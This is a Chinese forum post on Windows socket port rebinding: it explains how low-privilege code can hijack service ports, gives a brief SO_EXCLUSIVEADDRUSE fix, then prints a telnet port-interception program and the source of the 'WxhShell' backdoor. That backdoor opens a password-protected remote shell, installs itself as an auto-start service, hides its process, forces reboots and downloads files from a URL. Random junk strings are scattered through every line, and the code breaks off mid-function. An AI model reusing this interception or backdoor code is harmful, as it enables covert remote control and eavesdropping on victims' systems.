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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jVZ<i}h0B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |i #06jIq  
+95v=[t#Ut  
  saddr.sin_family = AF_INET; Yi)s=Q:  
:YOo"3.]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %K.rrn M  
N3*1,/,l .  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F_m' 9KX4E  
?L0k|7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9_,f)2)~W  
1Lk(G9CoY  
  这意味着什么?意味着可以进行如下的攻击: ez.a  
;<thEWH;Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W amOg0  
)B)f`(SA"<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t1"#L_<e  
hvQXYo>TZx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %4Qs|CM)m  
{qbe ye!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :>r W`= e'  
uv<_.Jq]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zx,9x*g  
So8 Dwz?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T:zM]%Xh  
:=TIq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1_A_)l11  
{ PJ>gX$  
  #include Gk/cP`  
  #include HZ2W`wo  
  #include {:#nrD"  
  #include    UV0[S8A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,|}mo+rb-  
  int main() V=% ;5/  
  { __FEdO  
  WORD wVersionRequested; yN0`JI  
  DWORD ret; ^Y+Lf]zz*  
  WSADATA wsaData; GN9kCyPK  
  BOOL val; a@ <-L  
  SOCKADDR_IN saddr; %+Y wzL{  
  SOCKADDR_IN scaddr; ?@;)2B|q  
  int err; s,8zj<dUv  
  SOCKET s; >`SeX:  
  SOCKET sc; 02trjp.f  
  int caddsize; B>m*!n: l  
  HANDLE mt; 9xhc:@B1J  
  DWORD tid;   V>,=%r4f  
  wVersionRequested = MAKEWORD( 2, 2 ); 'P" i9j  
  err = WSAStartup( wVersionRequested, &wsaData ); 9=3DYCk/  
  if ( err != 0 ) { &e;Qabwxva  
  printf("error!WSAStartup failed!\n"); c-}[v<o  
  return -1; % @+j@i`&  
  } QIevps*  
  saddr.sin_family = AF_INET; 'L-DMNxBr  
   M@<9/xPS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f,Dic%$q  
|3yG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #0Y_!'j  
  saddr.sin_port = htons(23); %Nv w`H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kltW  
  { *o4a<.hd2  
  printf("error!socket failed!\n"); Uc'}y!R  
  return -1; )RvX}y-  
  } EY<"B2_%  
  val = TRUE; m 8b,_1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !khEep}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1' v!~*af  
  { qy)~OBY  
  printf("error!setsockopt failed!\n"); 3NDddrL9  
  return -1; Z+J4 q9^$  
  } \`xlD&F@U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -f mJkI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7>BfHb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w4Df?)Z  
G$MEVfd"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3Cc#{X-+  
  { la_c:#ho  
  ret=GetLastError(); C!Srv 7  
  printf("error!bind failed!\n"); \3^ue0  
  return -1; 1O NkmVtL  
  } megTp  
  listen(s,2); AH5;6Q  
  while(1) htR.p7&Tn  
  { p/VVb%  
  caddsize = sizeof(scaddr); xlu4  
  //接受连接请求 n+hL/aQ+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \|HNFxT`  
  if(sc!=INVALID_SOCKET) /OzoeI t  
  { =3w;<1 ?'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9 %4:eTcp  
  if(mt==NULL)  ;tZQ9#S  
  { G%t>Ll``C  
  printf("Thread Creat Failed!\n"); 2wIJ;rh  
  break; !e~[U-  
  } C` ky=  
  } 0FI |7  
  CloseHandle(mt); -|KZOea  
  } PBCGC^0{  
  closesocket(s); =(D"(OsQ/  
  WSACleanup(); h )5S4)  
  return 0; &k%>u[Bo  
  }   /G'3!S  
  DWORD WINAPI ClientThread(LPVOID lpParam) A8*zB=C  
  { E KV[cq  
  SOCKET ss = (SOCKET)lpParam; ">z3i`#C'  
  SOCKET sc; tMX$8W0 c  
  unsigned char buf[4096]; :vG0 l\  
  SOCKADDR_IN saddr; % J^x `P  
  long num; pF8 #H~  
  DWORD val;  k-=LD  
  DWORD ret; aW&)3C2-x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 II}M|qHaK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >a<1J(c  
  saddr.sin_family = AF_INET;  3}8o 9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DI{*E  
  saddr.sin_port = htons(23); ;s/<wx-C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4$pV;xV  
  { +)"Rv%.  
  printf("error!socket failed!\n"); U\tx{CsSz  
  return -1; l9&k!kF`  
  } qrlC U4  
  val = 100; 9DNp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tj[E!  
  { &~Hed_  
  ret = GetLastError(); znwKwc8,  
  return -1; Nb`qM]&  
  } (;},~( 2B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IUFc_uL@\  
  { /GC&@y0yi  
  ret = GetLastError(); F9u?+y-xb  
  return -1; 5MAfuHq^  
  } ^F+7<$ 2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TjEXR$:<  
  { =#S.t:HQ*  
  printf("error!socket connect failed!\n"); ;: 2U}p^-  
  closesocket(sc); kY~4AH  
  closesocket(ss); j/*1zu8Y  
  return -1; *b. >  
  } nJ2x;';lA  
  while(1) '6 F-%  
  { =x\`yxsG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7*{f*({  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L!If~6oD(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZhA_d#qH  
  num = recv(ss,buf,4096,0); sjg`4^!wDD  
  if(num>0) | :-i[G?n  
  send(sc,buf,num,0); F`QViZ'n>#  
  else if(num==0) .PUp3X-  
  break; !{t|z=Qg  
  num = recv(sc,buf,4096,0); #;j:;LRU  
  if(num>0) WI/tWj0  
  send(ss,buf,num,0); Ec@n<KK#  
  else if(num==0) 2+ cs^M3  
  break; P.,U>m  
  } 6p)AQTh>  
  closesocket(ss); Q,&Li+u|  
  closesocket(sc); MxIa,M <  
  return 0 ; Q S&B"7;g  
  } Nhjq.&  
bItcF$#!!!  
VWvSt C  
========================================================== LZRg%3.E  
xf]K  
下边附上一个代码,,WXhSHELL ]$@D=g,r  
w#|L8VAh  
========================================================== `.W2t5 Y  
'j6O2=1  
#include "stdafx.h"  mLxgvp  
(?na|yd  
#include <stdio.h> 9qB0F_xl  
#include <string.h> ^es]jng`  
#include <windows.h> W-=6:y#A  
#include <winsock2.h> tNi>TkC}`  
#include <winsvc.h> g 4[Vgmh J  
#include <urlmon.h> !wfW0?eu  
9Ux(  
#pragma comment (lib, "Ws2_32.lib") [X.bR$>  
#pragma comment (lib, "urlmon.lib") vA1Yya B  
E+]9!fDy<  
#define MAX_USER   100 // 最大客户端连接数 N>!:bF  
#define BUF_SOCK   200 // sock buffer H4w\e#|  
#define KEY_BUFF   255 // 输入 buffer k2U*dn"9U  
?BnU0R_r]  
#define REBOOT     0   // 重启 cQU;PH]  
#define SHUTDOWN   1   // 关机 -Z"4W  
N]A# ecm  
#define DEF_PORT   5000 // 监听端口 (jM0YtrD  
[>O!~  
#define REG_LEN     16   // 注册表键长度 CJ :V%|  
#define SVC_LEN     80   // NT服务名长度 !qt2,V  
* j%x  
// 从dll定义API mH'~pR>t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  8b2 =n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }X&rJV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <-umeY"n>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wh)D_  
d#g))f;  
// wxhshell配置信息 ;.A}c)b  
struct WSCFG { #X}HF$t{=  
  int ws_port;         // 监听端口 4I$Y(E}  
  char ws_passstr[REG_LEN]; // 口令 AI-*5[w#A  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2*|T)OA`m,  
  char ws_regname[REG_LEN]; // 注册表键名 k {*QU(  
  char ws_svcname[REG_LEN]; // 服务名 ysW})#7X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dZU#lg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J7`mEL>?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HC%Hbc~S_Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .A2$C|a*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =&WIa#!=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'a ['lF  
5?kfE  
}; Jj"{C]  
{>f"&I<xw  
// default Wxhshell configuration 1@F-t94I  
struct WSCFG wscfg={DEF_PORT, ju"z  
    "xuhuanlingzhe", HL38iXQ( 3  
    1, h: ' |)O  
    "Wxhshell", #Iw(+%D  
    "Wxhshell", $ Habhw  
            "WxhShell Service", jx: IK  
    "Wrsky Windows CmdShell Service", w&p+mJL.  
    "Please Input Your Password: ", 3 jZMXEG)  
  1, 4b8G 1fm  
  "http://www.wrsky.com/wxhshell.exe", 9L=mS  
  "Wxhshell.exe" 7*!7EBb  
    }; 95l)s],  
j/O~8o&  
// 消息定义模块 i5VZ,E^E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )6OD@<r{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?[ xgt )  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hr|f(9xA  
char *msg_ws_ext="\n\rExit."; <^5!]8*O  
char *msg_ws_end="\n\rQuit."; 2{-29bq  
char *msg_ws_boot="\n\rReboot..."; &9L4 t%As  
char *msg_ws_poff="\n\rShutdown..."; /( Wq  
char *msg_ws_down="\n\rSave to "; zBF~:Uc`B  
u_(~zs.N]  
char *msg_ws_err="\n\rErr!"; uUH4vUa  
char *msg_ws_ok="\n\rOK!"; U'fP  
{q-&!l|  
char ExeFile[MAX_PATH]; J2bvHxb Rd  
int nUser = 0; j#l=%H  
HANDLE handles[MAX_USER]; t#k]K]  
int OsIsNt; z*\_+u~u  
m=dNJF  
SERVICE_STATUS       serviceStatus; !}(B=-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9`tK 9  
 G 3Z"U  
// 函数声明 D)d]o&  
int Install(void); FlqGexY5  
int Uninstall(void); @!sK@&ow@%  
int DownloadFile(char *sURL, SOCKET wsh); mq`/nAmt  
int Boot(int flag); 6_CP?X+T  
void HideProc(void); Npp YUY  
int GetOsVer(void); ov6xa*'a  
int Wxhshell(SOCKET wsl); sy: xA w  
void TalkWithClient(void *cs); 4Yj1Etq.E  
int CmdShell(SOCKET sock); n5:uG'L\  
int StartFromService(void); 5S~ H[>A"  
int StartWxhshell(LPSTR lpCmdLine); dljE.peL  
xye-Z\-t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '!HTE` Aj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^P) f]GQx  
D|- ]<r1"  
// 数据结构和表定义 L5&M@YTH  
SERVICE_TABLE_ENTRY DispatchTable[] = 1- 2hh)  
{ B `(jTL  
{wscfg.ws_svcname, NTServiceMain}, Q+:y  
{NULL, NULL} ] ; w 2YR  
}; P`Np +E#I  
%Bs. XW,  
// 自我安装 r/YJ,2!  
int Install(void) V;M_Y$`Lh  
{ BEdCA]T  
  char svExeFile[MAX_PATH]; GEBSUvM7  
  HKEY key; UcRP/LR%C  
  strcpy(svExeFile,ExeFile); A_xC@$1e<  
#N|\7(#~u  
// 如果是win9x系统,修改注册表设为自启动 OF-k7g7  
if(!OsIsNt) { g`Z=Y7jLH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RRL{a6(?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @!8aZB3odt  
  RegCloseKey(key); TEtmmp0OD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8q2a8I9g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mQ"~x]  
  RegCloseKey(key); HW@wia  
  return 0; eg0_ <  
    } iq#{*:1  
  } "+HJ/8Dd1  
} 70'OS:J=\  
else { LEb$Fd  
s,z~qL6&  
// 如果是NT以上系统,安装为系统服务 19 !?oeOU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PX:#+bq1  
if (schSCManager!=0) ;Qi:j^+P)  
{ ,06Sm]4L,  
  SC_HANDLE schService = CreateService 'Y 38VOI%  
  ( ]C_+u_9  
  schSCManager, 'VDWJTia  
  wscfg.ws_svcname, E~!$&9\  
  wscfg.ws_svcdisp, JcAsrtrG]  
  SERVICE_ALL_ACCESS, \J'}CX*aQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,f }$FZ  
  SERVICE_AUTO_START, ?nU<cxh  
  SERVICE_ERROR_NORMAL, n]%- 2`}(  
  svExeFile, |[\;.gT K  
  NULL, VkQ@c;C  
  NULL, kAftW '  
  NULL, XT7m3M  
  NULL, Myq8`/_  
  NULL 55Ss%$k@  
  ); `TrWtSwv  
  if (schService!=0) 9LR=>@Z  
  { C6!F6Stn]g  
  CloseServiceHandle(schService); 9`in r.:  
  CloseServiceHandle(schSCManager); JZ5k3#@e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N\{"&e  
  strcat(svExeFile,wscfg.ws_svcname); O]N/(pe:d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %a%xUce&-X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y_Yf'z1>[  
  RegCloseKey(key); X8C7d6ca  
  return 0; AwM`[`ReE  
    } `7 "="T~ *  
  } 5pQpzn =  
  CloseServiceHandle(schSCManager); `fv5U%  
} fzsy<Vl",  
} GVY7`k"km  
Q,U0xGGz  
return 1; D An2Pqf  
} GZ%vFje_ K  
HC iRk1  
// 自我卸载 V_7\VKR  
int Uninstall(void) P9v(5Z00|d  
{ dCC*|b8h  
  HKEY key; & 3#7>oQ  
I8xdE(o8+  
if(!OsIsNt) { ( t&RFzE?G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K_i|cYGV  
  RegDeleteValue(key,wscfg.ws_regname); f{BF%;  
  RegCloseKey(key); AuNUW0/ 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4f LRl-)  
  RegDeleteValue(key,wscfg.ws_regname); \xYVnjG,  
  RegCloseKey(key); 4Aj~mA  
  return 0; SNj-h>&Mha  
  } q}U+BTCZ  
} 7|,L{~  
} VfU"%0x  
else { (r|m&/  
05d0p|},  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1lw%RM  
if (schSCManager!=0) ( bwD:G9  
{ B[b>T=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +kSu{Tc  
  if (schService!=0) (_FU3ZW!  
  { O( ^h_  
  if(DeleteService(schService)!=0) { 35\ |#2qw6  
  CloseServiceHandle(schService); $1f2'_`8~  
  CloseServiceHandle(schSCManager); BgQEd@cN  
  return 0; GJ9>i)+h;  
  } yD+4YD  
  CloseServiceHandle(schService); C`5'5/-.  
  } yl[I'fX66  
  CloseServiceHandle(schSCManager); Gwd38  
} z8\YMr 6o  
} q/O2E<=w*c  
M2Q,&>M   
return 1; :_e[xB=Yy  
} ;aQ`` B  
[ZWAXl $  
// 从指定url下载文件 'D\X$^J^  
int DownloadFile(char *sURL, SOCKET wsh) ,s8/6n#  
{ 'ZbWr*bo  
  HRESULT hr; *HoRYCL  
char seps[]= "/"; vJWBr:`L  
char *token; gAAC>{Wh  
char *file; -S$F\%  
char myURL[MAX_PATH]; Xa`Q;J"h  
char myFILE[MAX_PATH]; 5kGniG?T#  
y4-kuMYR  
strcpy(myURL,sURL); Iz0$T.T  
  token=strtok(myURL,seps); 8(1*,CJQg  
  while(token!=NULL) sfF~k-  
  { ~I|| "$R  
    file=token; "6B@V=d  
  token=strtok(NULL,seps); T^v763%  
  } .a4,Lr#q.  
o[Ffa# sE  
GetCurrentDirectory(MAX_PATH,myFILE); |A&;m}(Mt  
strcat(myFILE, "\\"); H/o_?qK  
strcat(myFILE, file); K43%9=sM  
  send(wsh,myFILE,strlen(myFILE),0); $DHE%IN`  
send(wsh,"...",3,0); yqN`R\d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2Q6;SF"Z  
  if(hr==S_OK) L}h_\1  
return 0; LG[N\%<!H  
else .S//T/3O]Q  
return 1; s"jvO>[  
M}8P _<,  
} |]7c&`  
-1Q24jrO-  
// 系统电源模块 Xm#W}Y'  
int Boot(int flag) SBxpJsW >  
{ #pvq9fss,}  
  HANDLE hToken; [F6 )Z[uG  
  TOKEN_PRIVILEGES tkp; +|/0sPW(  
M%E<]H2;S  
  if(OsIsNt) { M<-Q8 a~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #`iEbiSq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y 9$jJ1V  
    tkp.PrivilegeCount = 1; ~1O|4mssS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \F|)w|v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '+9<[]  
if(flag==REBOOT) { DzVCEhf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x Lan1V  
  return 0; ]0UYxv%]  
} $@PruY3[  
else { ;\K]~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TiD#t+g  
  return 0; ~4 fE`-O  
} [Hh*lKg  
  } iT'doF  
  else { $_S-R 3L\  
if(flag==REBOOT) { #)'Iqaq7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )LGVR 3#  
  return 0; . 1kB8&}  
} ;EBKzB  
else { =Kj{wA O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) URb8[~dR:  
  return 0; G_+/ e]P  
} B_[efM<R$  
} hO"!q;<eS  
/@\`Ibe  
return 1; u8c@q'_  
} Sr \y1nt  
kL DpZ{  
// win9x进程隐藏模块 d88A.Z3w  
void HideProc(void) 9~hW8{#  
{ p{,#H/+J  
ny KfM5s_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z@s[8wrmPl  
  if ( hKernel != NULL ) vn}m-U XA*  
  { {0,b[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t?"(Zb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J%?5d:iN+  
    FreeLibrary(hKernel); d5^^h<'  
  } ei-\t qY_  
v~ >Bbe  
return; ,:mL\ZED  
} UF-&L:s[  
v~ SM"ky#  
// 获取操作系统版本 s4fO4.bnm  
int GetOsVer(void) RJD{l+  
{ nP%U<$,+  
  OSVERSIONINFO winfo; S%- kN;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ps'_Y<@  
  GetVersionEx(&winfo); BL&AZv/T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]W;6gmV  
  return 1; YYpC!)  
  else sJLOz>  
  return 0; u\ _yjv#  
} e|oMbTZ5m  
{D[6=\ F  
// 客户端句柄模块 \Y!#Y#c  
int Wxhshell(SOCKET wsl) cF 5|Pf  
{ |$\K/]q -  
  SOCKET wsh; 1["i,8zB  
  struct sockaddr_in client; w=#'8ZuU  
  DWORD myID; sJZ2e6?n  
].s;Yxz  
  while(nUser<MAX_USER) >B6* `3v  
{ vv.E6D^x(  
  int nSize=sizeof(client); ]EKg)E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [gT}<W  
  if(wsh==INVALID_SOCKET) return 1; JU17]gQ  
iyn9[>j e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h/n(  
if(handles[nUser]==0) fG1iq<~  
  closesocket(wsh); # >k|^*\  
else OKh0m_ )7  
  nUser++; +ydd"`  
  } 3RaW\cWzg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1r=cCM  
A,F~*LXm  
  return 0; qFWN._R  
} Srx:rUCv  
x|m9?[ !_  
// 关闭 socket > -OOU  
void CloseIt(SOCKET wsh) 6FzB-],  
{ nG<oae6z"  
closesocket(wsh); ~Ykn|$_"I  
nUser--; m%6VwV7U  
ExitThread(0); =p_*lC%N  
} TVcA%]y{;  
E !ndXz 59  
// 客户端请求句柄 7?yS>(VmT  
void TalkWithClient(void *cs) K T0t4XPM  
{ '^TeV=  
u9~5U9]O%6  
  SOCKET wsh=(SOCKET)cs; V22z-$cb  
  char pwd[SVC_LEN]; sQ`G'<!  
  char cmd[KEY_BUFF]; s|WwB T  
char chr[1]; P] *x6c^n  
int i,j; U> lf-iI2B  
8)>x)T  
  while (nUser < MAX_USER) { @ZU$W9g  
9:p-F+  
if(wscfg.ws_passstr) { Aax;0qGbH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l~"T>=jq3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SAdT#0J  
  //ZeroMemory(pwd,KEY_BUFF); 2 `>a(  
      i=0; cCZp6^/<x  
  while(i<SVC_LEN) { y7hDMQ c'  
hnFpC1TO  
  // 设置超时 {A/^;X{N^  
  fd_set FdRead; v82wnP-~7  
  struct timeval TimeOut; =sk[I0W  
  FD_ZERO(&FdRead); N`Q.u-'  
  FD_SET(wsh,&FdRead); GqHW.s5  
  TimeOut.tv_sec=8; 5hmfdj6  
  TimeOut.tv_usec=0; k7iko{5D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |^l_F1+w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {V/>5pz4e  
\Wfw\x0.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dCi:@+z8  
  pwd=chr[0]; @?<[//1  
  if(chr[0]==0xd || chr[0]==0xa) { ai-s9r'MI?  
  pwd=0; 7}VqXUwabx  
  break; :m<&Ff}  
  } EQ273sdK  
  i++; i*=~m O8E  
    } ?)1Y|W'Rv  
xoo,}EY  
  // 如果是非法用户,关闭 socket K\2{SjL:B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UiG/Rn  
} ZMQ=D!kT  
r>fGj\#R =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {]+t<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SyVGm@  
Wu{=QjgY  
while(1) { eMRH*MyD  
B`mJT*B[  
  ZeroMemory(cmd,KEY_BUFF); U|3!ixk>>w  
Nhs!_-_I  
      // 自动支持客户端 telnet标准   83c2y;|8  
  j=0; QP%_2m>yhl  
  while(j<KEY_BUFF) { r+bGZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -~{Z*1`,  
  cmd[j]=chr[0]; O#U maNj/  
  if(chr[0]==0xa || chr[0]==0xd) { ."+lij=56  
  cmd[j]=0; ~gpxK{  
  break; Kd-1EU  
  }  )bF l-  
  j++; yus3GqPI  
    } a6LL]_&g  
n- 2X?<_Z  
  // 下载文件 I&+.IK_  
  if(strstr(cmd,"http://")) { w&?XsO@0W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nW)+-Wxq  
  if(DownloadFile(cmd,wsh)) N_T5sZ\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`AB-0t.u  
  else w~u{"E$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Nzn%0(Q  
  } $Er=i }`  
  else { 'V7LL1K^>  
w!"L\QT  
    switch(cmd[0]) { C{bxPILw  
  &DMC\R*j  
  // 帮助 S=k!8]/d|  
  case '?': { Y$L` G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +fk*c[FG  
    break; 7z$Z=cs  
  } 2{h2]F  
  // 安装 8b?nr;@  
  case 'i': { x/O;8^b  
    if(Install()) SxY z)aF~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i]c{(gd`  
    else W p)!G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'o IE:#b  
    break; zufphS|  
    } y5sH7`2+5  
  // 卸载 tLOGj?/r  
  case 'r': {  Gk~aTO  
    if(Uninstall()) r)|~Rs!y,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LWM<[8wJ4  
    else =v<w29P(g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YcA. Bn|as  
    break; %k#+nad  
    } b23A&1X  
  // 显示 wxhshell 所在路径 n0=]C%wr  
  case 'p': { &|XgWZS5  
    char svExeFile[MAX_PATH]; yF)J7a:U  
    strcpy(svExeFile,"\n\r");  zjUQ]  
      strcat(svExeFile,ExeFile); Gt&yz"?D  
        send(wsh,svExeFile,strlen(svExeFile),0); %"f85VfZ  
    break; 9Q1%+zjjMq  
    } sg,\!'  
  // 重启 `&A`&-nc=  
  case 'b': { ,w~3K%B4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1x_EAHZ>7  
    if(Boot(REBOOT)) U:*rlA@_.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Vxt2@p{  
    else { fDsT@W,K  
    closesocket(wsh); FXr^ 4B}  
    ExitThread(0); ^(TCUY~f&  
    } J920A^)j!  
    break; 0HWSdf|w  
    } KF'fg R  
